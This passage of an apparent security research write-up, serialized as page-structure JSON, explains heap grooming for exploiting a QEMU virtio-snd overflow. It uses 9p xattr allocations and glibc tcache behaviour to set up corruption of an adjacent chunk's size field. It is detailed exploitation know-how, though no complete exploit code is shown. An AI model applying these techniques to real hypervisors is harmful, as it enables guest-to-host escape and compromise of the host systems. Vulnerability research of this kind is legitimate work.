g_malloc0(size);\n}\n",[129705],{"type":23,"tag":71,"props":129706,"children":129707},{"__ignoreMap":7},[129708,129750,129757,129781,129794,129805,129830,129838,129863,129880,129896,129922,129929,129950,130016,130040,130053,130060,130067,130074,130081,130101,130122,130133,130140,130147,130154,130161,130210,130266,130311],{"type":23,"tag":230,"props":129709,"children":129710},{"class":232,"line":233},[129711,129715,129719,129724,129729,129733,129737,129741,129746],{"type":23,"tag":230,"props":129712,"children":129713},{"style":256},[129714],{"type":29,"value":52817},{"type":23,"tag":230,"props":129716,"children":129717},{"style":256},[129718],{"type":29,"value":52822},{"type":23,"tag":230,"props":129720,"children":129721},{"style":274},[129722],{"type":29,"value":129723}," coroutine_fn ",{"type":23,"tag":230,"props":129725,"children":129726},{"style":294},[129727],{"type":29,"value":129728},"v9fs_xattrcreate",{"type":23,"tag":230,"props":129730,"children":129731},{"style":274},[129732],{"type":29,"value":302},{"type":23,"tag":230,"props":129734,"children":129735},{"style":256},[129736],{"type":29,"value":53400},{"type":23,"tag":230,"props":129738,"children":129739},{"style":268},[129740],{"type":29,"value":12147},{"type":23,"tag":230,"props":129742,"children":129743},{"style":262},[129744],{"type":29,"value":129745},"opaque",{"type":23,"tag":230,"props":129747,"children":129748},{"style":274},[129749],{"type":29,"value":4516},{"type":23,"tag":230,"props":129751,"children":129752},{"class":232,"line":243},[129753],{"type":23,"tag":230,"props":129754,"children":129755},{"style":274},[129756],{"type":29,"value":13211},{"type":23,"tag":230,"props":129758,"children":129759},{"class":232,"line":252},[129760,129764,129769,129773,129777],{"type":23,"tag":230,"props":129761,"children":129762},{"style":256},[129763],{"type":29,"value":21393},{"type":23,"tag":230,"props":129765,"children":129766},{"style":274},[129767],{"type":29,"value":129768}," flags, rflags ",{"type":23,"tag":230,"props":129770,"children":129771},{"style":268},[129772],{"type":29,"value":863},{"type":23,"tag":230,"props":129774,"children":129775},{"style":5149},[129776],{"type":29,"value":5386},{"type":23,"tag":230,"props":129778,"children":129779},{"style":274},[129780],{"type":29,"value":511},{"type":23,"tag":230,"props":129782,"children":129783},{"class":232,"line":280},[129784,129789],{"type":23,"tag":230,"props":129785,"children":129786},{"style":256},[129787],{"type":29,"value":129788},"    int32_t",{"type":23,"tag":230,"props":129790,"children":129791},{"style":274},[129792],{"type":29,"value":129793}," fid;\n",{"type":23,"tag":230,"props":129795,"children":129796},{"class":232,"line":334},[129797,129801],{"type":23,"tag":230,"props":129798,"children":129799},{"style":256},[129800],{"type":29,"value":57386},{"type":23,"tag":230,"props":129802,"children":129803},{"style":274},[129804],{"type":29,"value":126381},{"type":23,"tag":230,"props":129806,"children":129807},{"class":232,"line":371},[129808,129813,129818,129822,129826],{"type":23,"tag":230,"props":129809,"children":129810},{"style":256},[129811],{"type":29,"value":129812},"    ssize_t",{"type":23,"tag":230,"props":129814,"children":129815},{"style":274},[129816],{"type":29,"value":129817}," err ",{"type":23,"tag":230,"props":129819,"children":129820},{"style":268},[129821],{"type":29,"value":863},{"type":23,"tag":230,"props":129823,"children":129824},{"style":5149},[129825],{"type":29,"value":5386},{"type":23,"tag":230,"props":129827,"children":129828},{"style":274},[129829],{"type":29,"value":511},{"type":23,"tag":230,"props":129831,"children":129832},{"class":232,"line":391},[129833],{"type":23,"tag":230,"props":129834,"children":129835},{"style":274},[129836],{"type":29,"value":129837},"    V9fsString name;\n",{"type":23,"tag":230,"props":129839,"children":129840},{"class":232,"line":400},[129841,129845,129850,129854,129859],{"type":23,"tag":230,"props":129842,"children":129843},{"style":256},[129844],{"type":29,"value":18889},{"type":23,"tag":230,"props":129846,"children":129847},{"style":274},[129848],{"type":29,"value":129849}," offset ",{"type":23,"tag":230,"props":129851,"children":129852},{"style":268},[129853],{"type":29,"value":863},{"type":23,"tag":230,"props":129855,"children":129856},{"style":5149},[129857],{"type":29,"value":129858}," 7",{"type":23,"tag":230,"props":129860,"children":129861},{"style":274},[129862],{"type":29,"value":511},{"type":23,"tag":230,"props":129864,"children":129865},{"class":232,"line":444},[129866,129871,129875],{"type":23,"tag":230,"props":129867,"children":129868},{"style":274},[129869],{"type":29,"value":129870},"    V9fsFidState ",{"type":23,"tag":230,"props":129872,"children":129873},{"style":268},[129874],{"type":29,"value":6909},{"type":23,"tag":230,"props":129876,"children":129877},{"style":274},[129878],{"type":29,"value":129879},"file_fidp;\n",{"type":23,"tag":230,"props":129881,"children":129882},{"class":232,"line":453},[129883,129887,129891],{"type":23,"tag":230,"props":129884,"children":129885},{"style":274},[129886],{"type":29,"value":129870},{"type":23,"tag":230,"props":129888,"children":129889},{"style":268},[129890],{"type":29,"value":6909},{"type":23,"tag":230,"props":129892,"children":129893},{"style":274},[129894],{"type":29,"value":129895},"xattr_fidp;\n",{"type":23,"tag":230,"props":129897,"children":129898},{"class":232,"line":462},[129899,129904,129908,129913,129917],{"type":23,"tag":230,"props":129900,"children":129901},{"style":274},[129902],{"type":29,"value":129903},"    V9fsPDU ",{"type":23,"tag":230,"props":129905,"children":129906},{"style":268},[129907],{"type":29,"value":6909},{"type":23,"tag":230,"props":129909,"children":129910},{"style":274},[129911],{"type":29,"value":129912},"pdu ",{"type":23,"tag":230,"props":129914,"children":129915},{"style":268},[129916],{"type":29,"value":863},{"type":23,"tag":230,"props":129918,"children":129919},{"style":274},[129920],{"type":29,"value":129921}," opaque;\n",{"type":23,"tag":230,"props":129923,"children":129924},{"class":232,"line":471},[129925],{"type":23,"tag":230,"props":129926,"children":129927},{"emptyLinePlaceholder":18},[129928],{"type":29,"value":459},{"type":23,"tag":230,"props":129930,"children":129931},{"class":232,"line":500},[129932,129937,129941,129945],{"type":23,"tag":230,"props":129933,"children":129934},{"style":294},[129935],{"type":29,"value":129936},"    v9fs_string_init",{"type":23,"tag":230,"props":129938,"children":129939},{"style":274},[129940],{"type":29,"value":302},{"type":23,"tag":230,"props":129942,"children":129943},{"style":268},[129944],{"type":29,"value":5448},{"type":23,"tag":230,"props":129946,"children":129947},{"style":274},[129948],{"type":29,"value":129949},"name);\n",{"type":23,"tag":230,"props":129951,"children":129952},{"class":232,"line":514},[129953,129958,129962,129967,129972,129977,129981,129985,129990,129994,129999,130003,130007,130011],{"type":23,"tag":230,"props":129954,"children":129955},{"style":274},[129956],{"type":29,"value":129957},"    err ",{"type":23,"tag":230,"props":129959,"children":129960},{"style":268},[129961],{"type":29,"value":863},{"type":23,"tag":230,"props":129963,"children":129964},{"style":294},[129965],{"type":29,"value":129966}," pdu_unmarshal",{"type":23,"tag":230,"props":129968,"children":129969},{"style":274},[129970],{"type":29,"value":129971},"(pdu, offset, ",{"type":23,"tag":230,"props":129973,"children":129974},{"style":380},[129975],{"type":29,"value":129976},"\"dsqd\"",{"type":23,"tag":230,"props":129978,"children":129979},{"style":274},[129980],{"type":29,"value":684},{"type":23,"tag":230,"props":129982,"children":129983},{"style":268},[129984],{"type":29,"value":5448},{"type":23,"tag":230,"props":129986,"children":129987},{"style":274},[129988],{"type":29,"value":129989},"fid, ",{"type":23,"tag":230,"props":129991,"children":129992},{"style":268},[129993],{"type":29,"value":5448},{"type":23,"tag":230,"props":129995,"children":129996},{"style":274},[129997],{"type":29,"value":129998},"name, ",{"type":23,"tag":230,"props":130000,"children":130001},{"style":268},[130002],{"type":29,"value":5448},{"type":23,"tag":230,"props":130004,"children":130005},{"style":274},[130006],{"type":29,"value":128749},{"type":23,"tag":230,"props":130008,"children":130009},{"style":268},[130010],{"type":29,"value":5448},{"type":23,"tag":230,"props":130012,"children":130013},{"style":274},[130014],{"type":29,"value":130015},"flags);\n",{"type":23,"tag":230,"props":130017,"children":130018},{"class":232,"line":897},[130019,130023,130028,130032,130036],{"type":23,"tag":230,"props":130020,"children":130021},{"style":866},[130022],{"type":29,"value":1493},{"type":23,"tag":230,"props":130024,"children":130025},{"style":274},[130026],{"type":29,"value":130027}," (err ",{"type":23,"tag":230,"props":130029,"children":130030},{"style":268},[130031],{"type":29,"value":8143},{"type":23,"tag":230,"props":130033,"children":130034},{"style":5149},[130035],{"type":29,"value":5386},{"type":23,"tag":230,"props":130037,"children":130038},{"style":274},[130039],{"type":29,"value":827},{"type":23,"tag":230,"props":130041,"children":130042},{"class":232,"line":960},[130043,130048],{"type":23,"tag":230,"props":130044,"children":130045},{"style":866},[130046],{"type":29,"value":130047},"        goto",{"type":23,"tag":230,"props":130049,"children":130050},{"style":274},[130051],{"type":29,"value":130052}," out_nofid;\n",{"type":23,"tag":230,"props":130054,"children":130055},{"class":232,"line":969},[130056],{"type":23,"tag":230,"props":130057,"children":130058},{"style":274},[130059],{"type":29,"value":1552},{"type":23,"tag":230,"props":130061,"children":130062},{"class":232,"line":4526},[130063],{"type":23,"tag":230,"props":130064,"children":130065},{"emptyLinePlaceholder":18},[130066],{"type":29,"value":459},{"type":23,"tag":230,"props":130068,"children":130069},{"class":232,"line":4534},[130070],{"type":23,"tag":230,"props":130071,"children":130072},{"style":274},[130073],{"type":29,"value":106580},{"type":23,"tag":230,"props":130075,"children":130076},{"class":232,"line":4542},[130077],{"type":23,"tag":230,"props":130078,"children":130079},{"emptyLinePlaceholder":18},[130080],{"type":29,"value":459},{"type":23,"tag":230,"props":130082,"children":130083},{"class":232,"line":4559},[130084,130088,130092,130096],{"type":23,"tag":230,"props":130085,"children":130086},{"style":866},[130087],{"type":29,"value":1493},{"type":23,"tag":230,"props":130089,"children":130090},{"style":274},[130091],{"type":29,"value":128850},{"type":23,"tag":230,"props":130093,"children":130094},{"style":268},[130095],{"type":29,"value":12792},{"type":23,"tag":230,"props":130097,"children":130098},{"style":274},[130099],{"type":29,"value":130100}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":230,"props":130102,"children":130103},{"class":232,"line":4587},[130104,130109,130113,130117],{"type":23,"tag":230,"props":130105,"children":130106},{"style":274},[130107],{"type":29,"value":130108},"        err ",{"type":23,"tag":230,"props":130110,"children":130111},{"style":268},[130112],{"type":29,"value":863},{"type":23,"tag":230,"props":130114,"children":130115},{"style":268},[130116],{"type":29,"value":53028},{"type":23,"tag":230,"props":130118,"children":130119},{"style":274},[130120],{"type":29,"value":130121},"E2BIG;\n",{"type":23,"tag":230,"props":130123,"children":130124},{"class":232,"line":4595},[130125,130129],{"type":23,"tag":230,"props":130126,"children":130127},{"style":866},[130128],{"type":29,"value":130047},{"type":23,"tag":230,"props":130130,"children":130131},{"style":274},[130132],{"type":29,"value":130052},{"type":23,"tag":230,"props":130134,"children":130135},{"class":232,"line":4619},[130136],{"type":23,"tag":230,"props":130137,"children":130138},{"style":274},[130139],{"type":29,"value":1552},{"type":23,"tag":230,"props":130141,"children":130142},{"class":232,"line":4627},[130143],{"type":23,"tag":230,"props":130144,"children":130145},{"emptyLinePlaceholder":18},[130146],{"type":29,"value":459},{"type":23,"tag":230,"props":130148,"children":130149},{"class":232,"line":4659},[130150],{"type":23,"tag":230,"props":130151,"children":130152},{"style":274},[130153],{"type":29,"value":106580},{"type":23,"tag":230,"props":130155,"children":130156},{"class":232,"line":4671},[130157],{"type":23,"tag":230,"props":130158,"children":130159},{"emptyLinePlaceholder":18},[130160],{"type":29,"value":459},{"type":23,"tag":230,"props":130162,"children":130163},{"class":232,"line":4688},[130164,130168,130172,130176,130181,130185,130189,130193,130198,130202,130206],{"type":23,"tag":230,"props":130165,"children":130166},{"style":294},[130167],{"type":29,"value":129936},{"type":23,"tag":230,"props":130169,"children":130170},{"style":274},[130171],{"type":29,"value":302},{"type":23,"tag":230,"props":130173,"children":130174},{"style":268},[130175],{"type":29,"value":5448},{"type":23,"tag":230,"props":130177,"children":130178},{"style":262},[130179],{"type":29,"value":130180},"xattr_fidp",{"type":23,"tag":230,"props":130182,"children":130183},{"style":274},[130184],{"type":29,"value":16084},{"type":23,"tag":230,"props":130186,"children":130187},{"style":262},[130188],{"type":29,"value":1655},{"type":23,"tag":230,"props":130190,"children":130191},{"style":274},[130192],{"type":29,"value":312},{"type":23,"tag":230,"props":130194,"children":130195},{"style":262},[130196],{"type":29,"value":130197},"xattr",{"type":23,"tag":230,"props":130199,"children":130200},{"style":274},[130201],{"type":29,"value":312},{"type":23,"tag":230,"props":130203,"children":130204},{"style":262},[130205],{"type":29,"value":50270},{"type":23,"tag":230,"props":130207,"children":130208},{"style":274},[130209],{"type":29,"value":753},{"type":23,"tag":230,"props":130211,"children":130212},{"class":232,"line":4701},[130213,130218,130222,130226,130230,130234,130238,130242,130246,130250,130254,130258,130262],{"type":23,"tag":230,"props":130214,"children":130215},{"style":294},[130216],{"type":29,"value":130217},"    v9fs_string_copy",{"type":23,"tag":230,"props":130219,"children":130220},{"style":274},[130221],{"type":29,"value":302},{"type":23,"tag":230,"props":130223,"children":130224},{"style":268},[130225],{"type":29,"value":5448},{"type":23,"tag":230,"props":130227,"children":130228},{"style":262},[130229],{"type":29,"value":130180},{"type":23,"tag":230,"props":130231,"children":130232},{"style":274},[130233],{"type":29,"value":16084},{"type":23,"tag":230,"props":130235,"children":130236},{"style":262},[130237],{"type":29,"value":1655},{"type":23,"tag":230,"props":130239,"children":130240},{"style":274},[130241],{"type":29,"value":312},{"type":23,"tag":230,"props":130243,"children":130244},{"style":262},[130245],{"type":29,"value":130197},{"type":23,"tag":230,"props":130247,"children":130248},{"style":274},[130249],{"type":29,"value":312},{"type":23,"tag":230,"props":130251,"children":130252},{"style":262},[130253],{"type":29,"value":50270},{"type":23,"tag":230,"props":130255,"children":130256},{"style":274},[130257],{"type":29,"value":684},{"type":23,"tag":230,"props":130259,"children":130260},{"style":268},[130261],{"type":29,"value":5448},{"type":23,"tag":230,"props":130263,"children":130264},{"style":274},[130265],{"type":29,"value":129949},{"type":23,"tag":230,"props":130267,"children":130268},{"class":232,"line":4724},[130269,130274,130278,130282,130286,130290,130294,130298,130302,130306],{"type":23,"tag":230,"props":130270,"children":130271},{"style":262},[130272],{"type":29,"value":130273},"    xattr_fidp",{"type":23,"tag":230,"props":130275,"children":130276},{"style":274},[130277],{"type":29,"value":16084},{"type":23,"tag":230,"props":130279,"children":130280},{"style":262},[130281],{"type":29,"value":1655},{"type":23,"tag":230,"props":130283,"children":130284},{"style":274},[130285],{"type":29,"value":312},{"type":23,"tag":230,"props":130287,"children":130288},{"style":262},[130289],{"type":29,"value":130197},{"type":23,"tag":230,"props":130291,"children":130292},{"style":274},[130293],{"type":29,"value":312},{"type":23,"tag":230,"props":130295,"children":130296},{"style":262},[130297],{"type":29,"value":3856},{"type":23,"tag":230,"props":130299,"children":130300},{"style":268},[130301],{"type":29,"value":271},{"type":23,"tag":230,"props":130303,"children":130304},{"style":294},[130305],{"type":29,"value":125952},{"type":23,"tag":230,"props":130307,"children":130308},{"style":274},[130309],{"type":29,"value":130310},"(size);\n",{"type":23,"tag":230,"props":130312,"children":130313},{"class":232,"line":4741},[130314],{"type":23,"tag":230,"props":130315,"children":130316},{"style":274},[130317],{"type":29,"value":975},{"type":23,"tag":32,"props":130319,"children":130320},{},[130321,130323,130328,130330,130335,130336,130341,130343,130348],{"type":29,"value":130322},"Because the ",{"type":23,"tag":71,"props":130324,"children":130326},{"className":130325},[],[130327],{"type":29,"value":129684},{"type":29,"value":130329}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":71,"props":130331,"children":130333},{"className":130332},[],[130334],{"type":29,"value":129684},{"type":29,"value":112},{"type":23,"tag":71,"props":130337,"children":130339},{"className":130338},[],[130340],{"type":29,"value":129691},{"type":29,"value":130342},", not just the ",{"type":23,"tag":71,"props":130344,"children":130346},{"className":130345},[],[130347],{"type":29,"value":129691},{"type":29,"value":130349}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":32,"props":130351,"children":130352},{},[130353,130354,130359],{"type":29,"value":980},{"type":23,"tag":71,"props":130355,"children":130357},{"className":130356},[],[130358],{"type":29,"value":129691},{"type":29,"value":130360}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":32,"props":130362,"children":130363},{},[130364,130366,130371,130373,130379,130381,130387,130389,130395],{"type":29,"value":130365},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":71,"props":130367,"children":130369},{"className":130368},[],[130370],{"type":29,"value":129691},{"type":29,"value":130372}," buffer through a ",{"type":23,"tag":71,"props":130374,"children":130376},{"className":130375},[],[130377],{"type":29,"value":130378},"P9_TWRITE",{"type":29,"value":130380}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":71,"props":130382,"children":130384},{"className":130383},[],[130385],{"type":29,"value":130386},"P9_TREAD",{"type":29,"value":130388},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":71,"props":130390,"children":130392},{"className":130391},[],[130393],{"type":29,"value":130394},"P9_TCLUNK",{"type":29,"value":130396}," request on that same FID.",{"type":23,"tag":32,"props":130398,"children":130399},{},[130400,130402,130408],{"type":29,"value":130401},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":71,"props":130403,"children":130405},{"className":130404},[],[130406],{"type":29,"value":130407},"65536",{"type":29,"value":130409}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":59,"props":130411,"children":130413},{"id":130412},"setting-the-heap-layout",[130414],{"type":29,"value":130415},"Setting the Heap Layout",{"type":23,"tag":32,"props":130417,"children":130418},{},[130419,130421,130426],{"type":29,"value":130420},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":71,"props":130422,"children":130424},{"className":130423},[],[130425],{"type":29,"value":129691},{"type":29,"value":130427}," allocations, like this:",{"type":23,"tag":220,"props":130429,"children":130431},{"code":130430},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130432],{"type":23,"tag":71,"props":130433,"children":130434},{"__ignoreMap":7},[130435],{"type":29,"value":130430},{"type":23,"tag":32,"props":130437,"children":130438},{},[130439,130441,130446,130448,130453,130455,130460],{"type":29,"value":130440},"This lets us later create holes by freeing every other ",{"type":23,"tag":71,"props":130442,"children":130444},{"className":130443},[],[130445],{"type":29,"value":129691},{"type":29,"value":130447}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":71,"props":130449,"children":130451},{"className":130450},[],[130452],{"type":29,"value":126039},{"type":29,"value":130454}," field of the next live ",{"type":23,"tag":71,"props":130456,"children":130458},{"className":130457},[],[130459],{"type":29,"value":129691},{"type":29,"value":130461}," chunk.",{"type":23,"tag":32,"props":130463,"children":130464},{},[130465],{"type":29,"value":130466},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":32,"props":130468,"children":130469},{},[130470,130472,130477,130479,130484,130486,130491,130493,130498],{"type":29,"value":130471},"As mentioned earlier, ",{"type":23,"tag":71,"props":130473,"children":130475},{"className":130474},[],[130476],{"type":29,"value":129728},{"type":29,"value":130478}," always allocates two chunks: one for ",{"type":23,"tag":71,"props":130480,"children":130482},{"className":130481},[],[130483],{"type":29,"value":129684},{"type":29,"value":130485}," and one for ",{"type":23,"tag":71,"props":130487,"children":130489},{"className":130488},[],[130490],{"type":29,"value":129691},{"type":29,"value":130492},". We want to avoid having ",{"type":23,"tag":71,"props":130494,"children":130496},{"className":130495},[],[130497],{"type":29,"value":129684},{"type":29,"value":130499}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":144,"props":130501,"children":130502},{},[130503,130515],{"type":23,"tag":102,"props":130504,"children":130505},{},[130506,130508,130513],{"type":29,"value":130507},"Make ",{"type":23,"tag":71,"props":130509,"children":130511},{"className":130510},[],[130512],{"type":29,"value":129684},{"type":29,"value":130514}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":102,"props":130516,"children":130517},{},[130518,130520,130525,130527,130532,130534,130539],{"type":29,"value":130519},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":71,"props":130521,"children":130523},{"className":130522},[],[130524],{"type":29,"value":129684},{"type":29,"value":130526},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":71,"props":130528,"children":130530},{"className":130529},[],[130531],{"type":29,"value":129684},{"type":29,"value":130533}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":71,"props":130535,"children":130537},{"className":130536},[],[130538],{"type":29,"value":129691},{"type":29,"value":130540}," chunks.",{"type":23,"tag":192,"props":130542,"children":130544},{"id":130543},"separating-name-allocations",[130545],{"type":29,"value":130546},"Separating .name allocations",{"type":23,"tag":32,"props":130548,"children":130549},{},[130550,130552,130557,130559,130564],{"type":29,"value":130551},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":71,"props":130553,"children":130555},{"className":130554},[],[130556],{"type":29,"value":129728},{"type":29,"value":130558}," for N ",{"type":23,"tag":71,"props":130560,"children":130562},{"className":130561},[],[130563],{"type":29,"value":129684},{"type":29,"value":130565},"-sized allocations and then freeing them.",{"type":23,"tag":32,"props":130567,"children":130568},{},[130569,130571,130576,130577,130582,130583,130588,130590,130595,130597,130602],{"type":29,"value":130570},"At this point, we already know that ",{"type":23,"tag":71,"props":130572,"children":130574},{"className":130573},[],[130575],{"type":29,"value":129728},{"type":29,"value":130478},{"type":23,"tag":71,"props":130578,"children":130580},{"className":130579},[],[130581],{"type":29,"value":129684},{"type":29,"value":130485},{"type":23,"tag":71,"props":130584,"children":130586},{"className":130585},[],[130587],{"type":29,"value":129691},{"type":29,"value":130589},". If we simply call it with ",{"type":23,"tag":71,"props":130591,"children":130593},{"className":130592},[],[130594],{"type":29,"value":129691},{"type":29,"value":130596}," sized the same as ",{"type":23,"tag":71,"props":130598,"children":130600},{"className":130599},[],[130601],{"type":29,"value":129684},{"type":29,"value":130603},", we get a layout like this:",{"type":23,"tag":220,"props":130605,"children":130607},{"code":130606},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130608],{"type":23,"tag":71,"props":130609,"children":130610},{"__ignoreMap":7},[130611],{"type":29,"value":130606},{"type":23,"tag":32,"props":130613,"children":130614},{},[130615,130617,130622,130624,130630,130632,130638,130640,130645,130647,130652,130654,130659],{"type":29,"value":130616},"With that heap state, issuing a ",{"type":23,"tag":71,"props":130618,"children":130620},{"className":130619},[],[130621],{"type":29,"value":130394},{"type":29,"value":130623}," request would first free ",{"type":23,"tag":71,"props":130625,"children":130627},{"className":130626},[],[130628],{"type":29,"value":130629},".name A",{"type":29,"value":130631}," and then ",{"type":23,"tag":71,"props":130633,"children":130635},{"className":130634},[],[130636],{"type":29,"value":130637},".value A",{"type":29,"value":130639},". When ",{"type":23,"tag":71,"props":130641,"children":130643},{"className":130642},[],[130644],{"type":29,"value":130637},{"type":29,"value":130646}," is freed, the allocator sees that the preceding chunk ",{"type":23,"tag":71,"props":130648,"children":130650},{"className":130649},[],[130651],{"type":29,"value":130629},{"type":29,"value":130653}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":23,"tag":71,"props":130655,"children":130657},{"className":130656},[],[130658],{"type":29,"value":129684},{"type":29,"value":130660},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":23,"tag":32,"props":130662,"children":130663},{},[130664],{"type":29,"value":130665},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":23,"tag":32,"props":130667,"children":130668},{},[130669,130671,130676,130678,130683,130685,130690,130692,130698,130700,130705,130707,130713],{"type":29,"value":130670},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":23,"tag":71,"props":130672,"children":130674},{"className":130673},[],[130675],{"type":29,"value":129684},{"type":29,"value":130677}," allocation remains fixed at size ",{"type":23,"tag":71,"props":130679,"children":130681},{"className":130680},[],[130682],{"type":29,"value":106846},{"type":29,"value":130684},". We first allocate 16 xattrs whose ",{"type":23,"tag":71,"props":130686,"children":130688},{"className":130687},[],[130689],{"type":29,"value":129691},{"type":29,"value":130691}," size is ",{"type":23,"tag":71,"props":130693,"children":130695},{"className":130694},[],[130696],{"type":29,"value":130697},"0x30",{"type":29,"value":130699},". After that, we allocate another 16 xattrs, this time with ",{"type":23,"tag":71,"props":130701,"children":130703},{"className":130702},[],[130704],{"type":29,"value":129691},{"type":29,"value":130706}," size ",{"type":23,"tag":71,"props":130708,"children":130710},{"className":130709},[],[130711],{"type":29,"value":130712},"0x40",{"type":29,"value":130714},", and continue in the same way for each tcache size class.",{"type":23,"tag":32,"props":130716,"children":130717},{},[130718],{"type":29,"value":130719},"This yields the following layout:",{"type":23,"tag":220,"props":130721,"children":130723},{"code":130722},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[130724],{"type":23,"tag":71,"props":130725,"children":130726},{"__ignoreMap":7},[130727],{"type":29,"value":130722},{"type":23,"tag":32,"props":130729,"children":130730},{},[130731,130733,130738,130740,130745,130747,130752,130754,130759,130761,130766,130768,130773,130774,130779,130781,130786,130788,130793,130795,130800,130802,130807,130809,130814],{"type":29,"value":130732},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":23,"tag":71,"props":130734,"children":130736},{"className":130735},[],[130737],{"type":29,"value":129684},{"type":29,"value":130739}," chunks end up in the ",{"type":23,"tag":71,"props":130741,"children":130743},{"className":130742},[],[130744],{"type":29,"value":106846},{"type":29,"value":130746}," tcache bin, along with the interleaved ",{"type":23,"tag":71,"props":130748,"children":130750},{"className":130749},[],[130751],{"type":29,"value":129691},{"type":29,"value":130753}," chunks of size ",{"type":23,"tag":71,"props":130755,"children":130757},{"className":130756},[],[130758],{"type":29,"value":130697},{"type":29,"value":130760},". The next 16 ",{"type":23,"tag":71,"props":130762,"children":130764},{"className":130763},[],[130765],{"type":29,"value":129684},{"type":29,"value":130767}," chunks are interleaved with ",{"type":23,"tag":71,"props":130769,"children":130771},{"className":130770},[],[130772],{"type":29,"value":129691},{"type":29,"value":130753},{"type":23,"tag":71,"props":130775,"children":130777},{"className":130776},[],[130778],{"type":29,"value":130712},{"type":29,"value":130780},"; when freed, those ",{"type":23,"tag":71,"props":130782,"children":130784},{"className":130783},[],[130785],{"type":29,"value":129691},{"type":29,"value":130787}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":23,"tag":71,"props":130789,"children":130791},{"className":130790},[],[130792],{"type":29,"value":129684},{"type":29,"value":130794}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":23,"tag":71,"props":130796,"children":130798},{"className":130797},[],[130799],{"type":29,"value":129684},{"type":29,"value":130801},"-sized chunks that will later be served to the ",{"type":23,"tag":71,"props":130803,"children":130805},{"className":130804},[],[130806],{"type":29,"value":129684},{"type":29,"value":130808}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":23,"tag":71,"props":130810,"children":130812},{"className":130811},[],[130813],{"type":29,"value":129691},{"type":29,"value":130540},{"type":23,"tag":59,"props":130816,"children":130818},{"id":130817},"corrupting-the-size",[130819],{"type":29,"value":130820},"Corrupting the Size",{"type":23,"tag":32,"props":130822,"children":130823},{},[130824,130826,130831,130833,130838,130840,130845,130847,130852,130853,130858],{"type":29,"value":130825},"The input format is guest-controlled, and we choose ",{"type":23,"tag":71,"props":130827,"children":130829},{"className":130828},[],[130830],{"type":29,"value":5759},{"type":29,"value":130832}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":23,"tag":71,"props":130834,"children":130836},{"className":130835},[],[130837],{"type":29,"value":5759},{"type":29,"value":130839}," is centered at ",{"type":23,"tag":71,"props":130841,"children":130843},{"className":130842},[],[130844],{"type":29,"value":31747},{"type":29,"value":130846}," (rather than ",{"type":23,"tag":71,"props":130848,"children":130850},{"className":130849},[],[130851],{"type":29,"value":127946},{"type":29,"value":127933},{"type":23,"tag":71,"props":130854,"children":130856},{"className":130855},[],[130857],{"type":29,"value":127924},{"type":29,"value":130859},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":23,"tag":32,"props":130861,"children":130862},{},[130863,130865,130870],{"type":29,"value":130864},"As we already concluded, ",{"type":23,"tag":71,"props":130866,"children":130868},{"className":130867},[],[130869],{"type":29,"value":127389},{"type":29,"value":130871}," is called with the amount:",{"type":23,"tag":220,"props":130873,"children":130875},{"code":130874},"MIN(available, (stream->params.period_bytes - 